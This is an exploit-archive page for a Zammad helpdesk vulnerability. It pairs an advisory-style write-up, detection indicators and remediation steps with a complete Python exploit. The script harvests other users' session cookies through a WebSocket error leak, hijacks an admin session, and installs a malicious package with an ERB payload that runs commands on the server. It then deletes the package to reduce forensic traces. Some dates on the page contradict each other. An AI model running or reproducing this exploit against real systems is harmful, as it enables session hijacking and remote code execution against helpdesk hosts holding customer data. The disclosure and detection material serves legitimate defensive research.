PoC Archive PoC Archive
CVE-2026-102489 category: web CVSS 9.8 (CRITICAL) KEV EPSS 15%
Patched

Zammad WebSocket Session Leak to Authenticated Session Hijack and RCE (CVE-2026-102489)

Published: 2026-11-25 • Researcher: Horizon3.ai Attack Team (repo owner horizon3ai, commit author Zach); DIVD CSIRT and Zammad GmbH (advisory)

Target software Zammad helpdesk / ticket system (Ruby on Rails)
Affected versions 6.3.0 through 6.5.4 (NVD CPE range, exploitable). The bug is also present in 7.0.0 through 7.1.2 per NVD, but not exploitable due to framework changes; the vendor states 7.0 and later are not affected in practice and shipped a hardening change in 7.2.0.
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 15%

Confirmed exploited in the wild. Added to CISA KEV 2026-10-02. Federal remediation deadline 2026-10-05.

EPSS 14.5% · 97th percentile

Severity
Critical
CVE
CVE-2026-102489
Category
web
Affected product
Zammad helpdesk / ticket system (Ruby on Rails)
Affected versions
6.3.0 through 6.5.4 (NVD CPE range, exploitable). The bug is also present in 7.0.0 through 7.1.2 per NVD, but not exploitable due to framework changes; the vendor states 7.0 and later are not affected in practice and shipped a hardening change in 7.2.0.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-07
Author / ResearcherHorizon3.ai Attack Team (repo owner horizon3ai, commit author Zach); DIVD CSIRT and Zammad GmbH (advisory)
CVE / AdvisoryCVE-2026-102489
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); DIVD also scored 9.4 on CVSS 4.0
StatusWeaponized
TagsZammad, RCE, session-hijack, WebSocket, information-disclosure, unauthenticated, Ruby-on-Rails, ERB-template-injection, CWE-384
RelatedN/A

Affected Target

FieldValue
Software / SystemZammad helpdesk / ticket system (Ruby on Rails)
Versions Affected6.3.0 through 6.5.4 (NVD CPE range, exploitable). The bug is also present in 7.0.0 through 7.1.2 per NVD, but not exploitable due to framework changes; the vendor states 7.0 and later are not affected in practice and shipped a hardening change in 7.2.0.
Language / PlatformRuby (Rails); Linux, Docker deployments
Authentication RequiredNo for the attacker; a victim authenticated user must be connected to the WebSocket endpoint (passive user interaction)
Network Access RequiredYes

Summary

Zammad exposes a WebSocket event dispatcher that resolves user-supplied event names against Ruby constants. Sending the event name base resolves Sessions::Event::Base, a valid constant that has no run method, so the handler raises a NoMethodError whose message includes the full receiver inspect. That inspect contains the clients map, which holds the request context of every connected user, including their Cookie header. An unauthenticated attacker can therefore harvest valid session cookies, hijack an authenticated session (ideally an administrator), install a malicious ERB view through the package API, and trigger server-side template evaluation through a password reset to execute commands as the zammad OS user.

Vulnerability Details

Root Cause

The WebSocket event dispatcher builds a class name from the client-supplied event value without restricting the resolution to the intended event subclasses. Because Sessions::Event::Base is a real constant but does not implement run, the dispatcher raises a NoMethodError while inspecting the receiver. Ruby’s NoMethodError message embeds the receiver object’s inspect output, and that output includes the @clients instance variable: a map keyed by client/session that stores each connected user’s request context, including the raw Cookie header. The disclosure therefore turns a harmless error into a cross-user session leak. Zammad’s advisory describes the underlying weakness as CWE-384 (session fixation / session handling) and notes the affected code was hardened in 7.2.0.

Attack Vector

An unauthenticated attacker opens a WebSocket connection to the target’s /ws endpoint, sending a Cookie header with a syntactically valid but attacker-chosen session value so the connection is accepted. The attacker then sends the JSON frame {“event”:“base”}. The resulting error frame carries the exception text containing other users’ Cookie headers. The attacker extracts the _zammad_session values, validates them against /api/v1/users/me, and selects a session whose role_ids include the admin role (role id 1). Using that hijacked session and its CSRF token, the attacker uploads a crafted Zammad package (.zpm) whose file entry writes app/views/mailer/password_reset/en.html.erb.custom containing an ERB payload. A request to /api/v1/users/password_reset triggers rendering of the malicious mailer view, evaluating the ERB and running the command.

Impact

Remote code execution as the zammad OS user on the Zammad host. The PoC writes the output of an arbitrary command to a file on the target (/tmp/zammad_rce.txt by default) and then deletes the installed package to reduce forensic traces. A compromised helpdesk host typically holds ticket data, customer records, mail and integration credentials, and may be a pivot point toward internal networks. CISA added the CVE to the Known Exploited Vulnerabilities catalog on 2026-10-02, indicating active exploitation in the wild.

Environment / Lab Setup

Output
OS:          Linux (Docker-based Zammad deployment)
Target:      Zammad 6.3.0 - 6.5.4 (e.g. a Docker Compose deployment of 6.5.4,
             see the Zammad documentation for the official compose setup)
Victim:      At least one authenticated agent/admin logged in with the
             browser open, so a WebSocket connection is established
Attacker:    Python 3.9+ with requests and websocket-client
Tools:       Python 3, curl, browser (victim session)

Setup Steps

Shell script
1
2
3
4
5
pip install requests websocket-client

python3 CVE-2026-102489.py -u http://zammad.example.com

python3 CVE-2026-102489.py -u http://zammad.example.com -c 'id'

Proof of Concept

Step-by-Step Reproduction

  1. Discover the session cookie name — fetch the target root page and read the _zammad_session cookie name from the Set-Cookie header.
  2. Harvest cookies — connect to /ws with an attacker-supplied session cookie and send {“event”:“base”}; parse the error frame for Cookie headers leaked from the clients map, then extract session values.
  3. Validate and pick a session — call /api/v1/users/me with each captured cookie; prefer a session whose role_ids contains 1 (admin).
  4. Fetch a CSRF token — request the target root with the hijacked cookie and read the CSRF-TOKEN response header.
  5. Install the malicious package — POST a .zpm to /api/v1/packages that writes app/views/mailer/password_reset/en.html.erb.custom with an ERB payload that runs the requested command and writes its output to a file.
  6. Trigger rendering — POST /api/v1/users/password_reset for the hijacked user’s login; Zammad renders the password-reset mailer and evaluates the ERB.
  7. Read the result and clean up — wait roughly six seconds, read the output file on the target, and delete the ZammadRceAddon package.

Exploit Code

See CVE-2026-102489.py in this folder (upstream script, archived with an added research-only header). The upstream README is upstream-README.md.

Key harvest primitive:

Python
1
2
3
ws.send(json.dumps({'event': 'base'}))
for raw in re.findall(r'"Cookie"=>"([^"]+)"', error):
    m = re.search(re.escape(cookie_name) + r'=([a-f0-9]{20,})', raw)

Key payload primitive:

Python
1
2
3
4
5
6
payload  = f"<%= ::File.write('{out_file}', `{command}`) %>"
template = (
    "Reset your #{config.product_name} password\n"
    "<div>Hi #{user.firstname},</div>\n"
    f"{payload}\n"
)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] Target: http://zammad.example.com
[*] Harvesting session cookies via WebSocket @clients leak...
[+] 2 session cookie(s) captured
[*] Identifying sessions...
[+] Valid session: admin@example.com
[*] Installing malicious ERB template...
[+] Template deployed
[*] Triggering execution via password reset...
[+] Execution triggered — output written to /tmp/zammad_rce.txt on target
[*] Cleanup complete

On the target, /tmp/zammad_rce.txt contains the command output, for example:

Output
1
uid=1000(zammad) gid=1000(zammad) groups=1000(zammad)

Detection & Indicators of Compromise

  • WebSocket frames carrying {“event”:“base”} or other event names that resolve to non-event constants, immediately followed by error frames containing “Sessions::Event::Base”, “NoMethodError”, “@clients” or “Cookie”=>.
  • WebSocket connections that present a syntactically valid but unknown _zammad_session value, then disconnect shortly after the first error frame.
  • A small burst of /api/v1/users/me requests using many different session cookies from one source address.
  • Package uploads to /api/v1/packages containing a file location under app/views/mailer/password_reset/ or a .custom ERB view, especially from a session whose normal behaviour does not include package management.
  • /api/v1/users/password_reset calls shortly after a package install, followed by unexpected mailer rendering.
  • New files such as /tmp/zammad_rce.txt, or outbound connections spawned by the zammad user.
  • Rails production log entries: NoMethodError for Sessions::Event::Base with a large inspect payload; package install/remove audit entries for an unexpected addon.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"Zammad WebSocket event base session leak attempt"; \
  content:"\"event\""; http_client_body; content:"\"base\""; http_client_body; \
  content:"/ws"; http_uri; sid:9002489;)

Remediation

ActionDetail
PatchUpgrade to Zammad 7.2.0 or later, which contains the vendor’s hardening change. Zammad 6.5 and older are out of support and receive no security updates, so upgrading off 6.x is the real fix. Zammad 7.0/7.1 are not exploitable in practice per the vendor, but 7.2.0 or later is recommended.
WorkaroundRestrict WebSocket and API exposure to trusted networks, block package uploads from untrusted sessions, and terminate/rotate all active sessions after any suspected exposure. No single configuration switch is documented by the vendor as a full workaround.
Config HardeningRestrict access to the Zammad server to trusted administrators, run Zammad in a segmented network, limit package installation to trusted admins, enforce short session lifetimes, and monitor /api/v1/packages and /ws for anomalous activity.

References

Notes

Auto-ingested from https://github.com/horizon3ai/CVE-2026-102489 on 2026-11-25.

Review verdict: this is a real end-to-end exploit, not a detector. The single Python script performs the complete chain — WebSocket information disclosure, session harvesting and validation, authenticated package upload, ERB template injection through the password-reset mailer, command execution, and cleanup. Status is therefore Weaponized. The repository contains no scanner, inventory, or audit logic, and no license file is present, so the code is archived with attribution for authorized research only.

Limitations: the disclosure requires at least one authenticated user to be connected to the WebSocket endpoint at the time of attack, which the upstream README calls out explicitly. The stolen session must still be valid and, for the most reliable result, belong to an admin who can install packages. Command output is written to a file on the target rather than returned over the network, so the attacker needs another way to read it (or must use a command that exfiltrates). The script depends on requests and websocket-client and disables TLS verification, so it should only be run against systems you own or have written authorization to test.

CVE-2026-102489.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/horizon3ai/CVE-2026-102489 (see README for attribution/license)
# CVE-2026-102489 - Zammad Unauthenticated Remote Code Execution
# https://github.com/horizon3ai/CVE-2026-102489
#
# Sessions::Event::Base is a valid Ruby constant with no run() method.
# Sending {"event":"base"} over WebSocket causes a NoMethodError whose message
# includes the full receiver inspect — containing @clients: every connected
# user's Cookie header. The harvested cookie is used to install a malicious
# ERB template via the package API, triggered via password reset to achieve
# RCE as the zammad OS user.
#
# Affected: Zammad <= 6.5.4
# Fixed:    7.2.0 (limits NoMethodError output + scopes clients per-connection)
#
# Usage:
#   python3 CVE-2026-102489.py -u http://zammad.example.com
#   python3 CVE-2026-102489.py -u http://zammad.example.com -c 'id'

import argparse
import base64
import json
import re
import secrets
import sys
import threading
import time

import requests
import urllib3
import websocket

urllib3.disable_warnings()


def get_cookie_name(url):
    r = requests.get(url, verify=False, timeout=30, allow_redirects=False)
    for name in r.cookies.keys():
        if '_zammad_session' in name:
            return name
    m = re.search(r'(_zammad_session\w*)', r.headers.get('Set-Cookie', ''))
    return m.group(1) if m else '_zammad_session'


def harvest_cookies(ws_url, cookie_name):
    found = []
    done  = threading.Event()

    def on_open(ws):
        ws.send(json.dumps({'event': 'base'}))

    def on_message(ws, msg):
        try:
            frames = json.loads(msg)
        except Exception:
            return
        if not isinstance(frames, list):
            frames = [frames]
        for frame in frames:
            if frame.get('event') != 'error':
                continue
            error = frame['data'].get('error', '')
            for raw in re.findall(r'"Cookie"=>"([^"]+)"', error):
                m = re.search(re.escape(cookie_name) + r'=([a-f0-9]{20,})', raw)
                if m and m.group(1) not in found:
                    found.append(m.group(1))
            ws.close()
            done.set()

    def on_error(ws, e): done.set()
    def on_close(ws, *a): done.set()

    websocket.WebSocketApp(
        ws_url,
        header=[f'Cookie: {cookie_name}=attacker-{secrets.token_hex(8)}'],
        on_open=on_open,
        on_message=on_message,
        on_error=on_error,
        on_close=on_close,
    ).run_forever()

    done.wait(timeout=10)
    return found


def identify_session(url, cookie_name, cookies):
    for val in cookies:
        r = requests.get(
            f'{url}/api/v1/users/me',
            headers={'Cookie': f'{cookie_name}={val}'},
            verify=False,
            timeout=30,
        )
        if r.ok:
            user = r.json()
            yield val, user.get('login', ''), user.get('role_ids', [])


def get_csrf(url, cookie_name, cookie_val):
    r = requests.get(
        url,
        headers={'Cookie': f'{cookie_name}={cookie_val}'},
        verify=False,
        timeout=30,
        allow_redirects=False,
    )
    return r.headers.get('CSRF-TOKEN', '')


def install_package(url, cookie_name, cookie_val, csrf, command, out_file):
    payload  = f"<%= ::File.write('{out_file}', `{command}`) %>"
    template = (
        "Reset your #{config.product_name} password\n"
        "<div>Hi #{user.firstname},</div>\n"
        f"{payload}\n"
    )
    package = {
        'name':        'ZammadRceAddon',
        'version':     '1.0.0',
        'vendor':      'PoC',
        'url':         'https://example.com',
        'license':     'MIT',
        'description': 'PoC',
        'files': [{
            'location':   'app/views/mailer/password_reset/en.html.erb.custom',
            'permission': '644',
            'content':    base64.b64encode(template.encode()).decode(),
        }],
    }
    r = requests.post(
        f'{url}/api/v1/packages',
        files={'file_upload': ('rce.zpm', json.dumps(package).encode(), 'application/json')},
        headers={'X-CSRF-Token': csrf, 'Cookie': f'{cookie_name}={cookie_val}'},
        verify=False,
        timeout=30,
    )
    if r.status_code in (200, 201):
        return True
    pkgs = requests.get(
        f'{url}/api/v1/packages',
        headers={'Cookie': f'{cookie_name}={cookie_val}'},
        verify=False,
        timeout=30,
    ).json()
    pkg_list = pkgs if isinstance(pkgs, list) else pkgs.get('packages', [])
    return any(p.get('name') == 'ZammadRceAddon' for p in pkg_list)


def trigger_execution(url, login):
    r0   = requests.get(url, verify=False, timeout=30)
    csrf = r0.headers.get('CSRF-TOKEN', '')
    requests.post(
        f'{url}/api/v1/users/password_reset',
        json={'username': login},
        headers={'Content-Type': 'application/json', 'X-CSRF-Token': csrf},
        cookies=r0.cookies,
        verify=False,
        timeout=30,
    )


def cleanup(url, cookie_name, cookie_val, csrf):
    try:
        pkgs = requests.get(
            f'{url}/api/v1/packages',
            headers={'Cookie': f'{cookie_name}={cookie_val}'},
            verify=False, timeout=30,
        ).json()
        pkg_list = pkgs if isinstance(pkgs, list) else pkgs.get('packages', [])
        for p in pkg_list:
            if p.get('name') == 'ZammadRceAddon':
                requests.delete(
                    f'{url}/api/v1/packages/{p["id"]}',
                    headers={'X-CSRF-Token': csrf, 'Cookie': f'{cookie_name}={cookie_val}'},
                    verify=False, timeout=30,
                )
    except Exception:
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url',     required=True, help='The base URL of the target')
    parser.add_argument('-c', '--command', default='id',  help='Command to execute on the target')
    parser.add_argument('--out-file',      default='/tmp/zammad_rce.txt',
                        help='Output file path on the target (default: /tmp/zammad_rce.txt)')
    args = parser.parse_args()

    url    = args.url.rstrip('/')
    ws_url = url.replace('http', 'ws', 1) + '/ws'

    print(f'[*] Target: {url}')

    cookie_name = get_cookie_name(url)

    print(f'[*] Harvesting session cookies via WebSocket @clients leak...')
    cookies = harvest_cookies(ws_url, cookie_name)
    if not cookies:
        print('[-] No session cookies captured — no authenticated users connected to WebSocket')
        sys.exit(1)
    print(f'[+] {len(cookies)} session cookie(s) captured')

    print(f'[*] Identifying sessions...')
    session_val  = None
    session_user = None
    role_ids     = []
    for val, login, rids in identify_session(url, cookie_name, cookies):
        if session_val is None or 1 in rids:
            session_val  = val
            session_user = login
            role_ids     = rids
    if not session_val:
        print('[-] No captured session validated by API')
        sys.exit(1)
    print(f'[+] Valid session: {session_user}')

    csrf = get_csrf(url, cookie_name, session_val)

    print(f'[*] Installing malicious ERB template...')
    if not install_package(url, cookie_name, session_val, csrf, args.command, args.out_file):
        print('[-] Package installation failed')
        sys.exit(1)
    print(f'[+] Template deployed')

    print(f'[*] Triggering execution via password reset...')
    trigger_execution(url, session_user)
    time.sleep(6)
    print(f'[+] Execution triggered — output written to {args.out_file} on target')

    cleanup(url, cookie_name, session_val, csrf)
    print(f'[*] Cleanup complete')